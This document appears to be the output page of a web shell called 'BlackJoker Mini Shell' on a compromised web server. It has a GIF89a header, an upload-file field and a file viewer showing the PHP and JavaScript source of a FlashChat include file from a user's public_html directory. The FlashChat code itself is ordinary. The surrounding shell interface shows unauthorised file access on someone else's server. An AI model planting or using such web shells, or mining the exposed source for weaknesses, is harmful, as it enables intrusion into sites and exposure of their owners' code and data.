GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/chat/
Upload File :
Current File : /home/serb/public_html/chat/flashchat_inc.php

<?php

// Fix For flashchat.php To Secure From Direct Access To Script
// Fix For flashchat.php To Secure From Direct Login Via URI
// Fix Contribution By Ricky Huckle

if(!defined("flashchat")) { die('Direct access to this location is not allowed.'); exit; }

if ($_SERVER['REQUEST_URI'] == $_SERVER['SCRIPT_NAME'] . "?username=" . $_REQUEST['username']) { die('Direct login is not allowed.'); exit(); }

// End Fix For Secure flashchat_inc.php

$GLOBALS['my_file_name'] = 'flashchat';

//-------------------------------------------------------------------------------------
//check if flahchat is installing
//-------------------------------------------------------------------------------------
$fname = dirname(__FILE__).'/temp/config.srv.php';
if(!file_exists($fname))
{
	Header('Location: install.php');
	die;
} else {
	require_once $fname;
}

if($GLOBALS['fc_config']['cacheType'] != 2)
{
	$query = 'SELECT * FROM '.$GLOBALS['fc_config']['db']['pref'].'connections LIMIT 1';
	@mysql_connect($GLOBALS['fc_config']['db']['host'], $GLOBALS['fc_config']['db']['user'], $GLOBALS['fc_config']['db']['pass']);
	@mysql_select_db($GLOBALS['fc_config']['db']['base']);
	$result = @mysql_query($query);
	if($result == null)
	{
		Header('Location: install.php');
		die;
	}
	else
	{
		if($GLOBALS['fc_config']['cacheType'] == 1)
		{
			$i = 0;
			$files_arr = array('bans', 'configinst', 'configmain', 'connections', 'ignors', 'messages', 'users', 'tables');
			$d = dir('temp/templates/cache/');
			while(false !== ($entry = $d->read()))
			{
				if($entry == '.' || $entry == '..') continue;

				$entries = explode('_', $entry);
				if(substr($entry, -6, -5) == '_')
				{
					$check = $entries[count($entries)-3];
				}
				else
				{
					$check = $entries[count($entries)-2];
				}
				if(in_array($check, $files_arr))
				{
					$i++;
				}
			}
			$d->close();
			if($i < count($files_arr))
			{
				Header('Location: install.php');
				die;
			}
		}
	}
} else {
	$fname = dirname(__FILE__).'/temp/templates/cache/'.$GLOBALS['fc_config']['db']['pref'].'config_'.$GLOBALS['fc_config']['cacheFilePrefix'].'_1.txt';
	if(!file_exists($fname))
	{
		Header('Location: install.php');
		die;
	}
}
//-------------------------------------------------------------------------------------
//check if flahchat is installing
//-------------------------------------------------------------------------------------

require_once('inc/common.php');

$_SESSION['session_inst'] = 1;
$_SESSION['session_chat'] = 1;
//------------------------------------------------------------------------------
//added 180907 default id of session chat and session inst
//------------------------------------------------------------------------------


$id = 'flashchat';
$params = array();

if(isset($_REQUEST['username']) && !isset($_REQUEST['flash_login']))
{
	if($_REQUEST['username'] == '__random__') $_REQUEST['username'] = 'user_' . time();
	if(!isset($_REQUEST['lang'])) $_REQUEST['lang'] = $GLOBALS['fc_config']['defaultLanguage'];
	if(!isset($_REQUEST['password'])) $_REQUEST['password'] = '';
	if(!isset($_REQUEST['room'])) $_REQUEST['room'] = 0;
	if(!isset($_REQUEST['session_inst'])) $_REQUEST['session_inst'] = 1; // added on 090706 for chat instances

	$params = array_merge($params, array(
			'login' => $_REQUEST['username'],
			'password' => $_REQUEST['password'],
			'lang'  => $_REQUEST['lang'],
			'room'  => $_REQUEST['room'],
	//'instance_id' => $_REQUEST['session_inst']  // added on 090706 for chat instances
			'instance_id' => 1  // added 180907 default id of session inst
	));
}
?>

<!--		<script type="text/javascript">-->
<!--		-->
<!--			function showLogger()-->
<!--			{-->
<!--				win = window.open("logger.php", "logger", "width=500,height=400,left=0,top=0,location=no,menubar=no,resizable=yes,scrollbars=no,status=no,toolbar=no");-->
<!--				win.focus();-->
<!--			}-->
<!--			<?php if($GLOBALS['fc_config']['debug']) {?>showLogger();<?php } ?>-->
<!--        //-->
<!--		</script>-->

<script	src="history/history.js" language="javascript"></script>
<link rel="stylesheet" href="history/history.css" type="text/css"/>

<script language="JavaScript">
			var connId = '';

			function myOnClose() {
				var flex = document.flashchat || window.flashchat;
				flex.myCloseHandler();
			}

			function setConnId(newConnId) {
				connId = newConnId;
			}


			function sendLogout()
			{
				if(connId == '') return;

				myOnClose();

				var rand = Math.floor(Math.random()*10000000000);
				var data = "rand=" + rand + "&id=" + connId;

				var xmlHttp = null;
				if (window.XMLHttpRequest)
				{
			    	xmlHttp = new XMLHttpRequest();
	    		}
				else
				{
					if (window.ActiveXObject)
					{
	        			xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
				        if(!xmlHttp)
						{
				        	xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
				        }
				    }
	    		}

				xmlHttp.open("POST", "ajax_logout.php?" + data, false);
				xmlHttp.send(data);
			}

			// Disabled window.onload (Setfocus) For Compatibility Reasons With IE8
		    // Also Was Disabled For Compatibility With Updated SWFObject
		    // IE8 Throws Cant Move Focus Error

		    //window.onload = setFocus;

			window.onbeforeunload = sendLogout;
			window.onunload = sendLogout;
		</script>
<script
	type="text/javascript" src="javascript/swfobject.js"></script>

<?php
//for autologin (by p.feklistov)
$fv = '';
$userid = ChatServer::isLoggedIn();
if($userid != null) {
	$u = ChatServer::getUser($userid);
	$fv = "login={$u['login']}&password=null&lang={$GLOBALS['fc_config']['defaultLanguage']}&instance_id=1";

}

$flashVars = array();

foreach($params as $name => $value) {
	if($value) $flashVars[] = $name.'=' . urlencode($value);
}

$fv .= join('&', $flashVars);

?>


<script type="text/javascript">
			var flashvars = false;
			var params = {};
			params.quality = "high";
			params.allowScriptAccess = "always";
			params.allowFullScreen= "true";
			params.bgcolor = "#FFFFFF";
			var attributes = {};
			attributes.id = "flashchat";
			attributes.name = "flashchatd";
			swfobject.embedSWF("chat.swf?<?php echo $fv; ?>", "flashchat", "100%", "100%", "9.0.0", false, flashvars, params, attributes);
</script>

./BlackJoker Mini Shell 1.0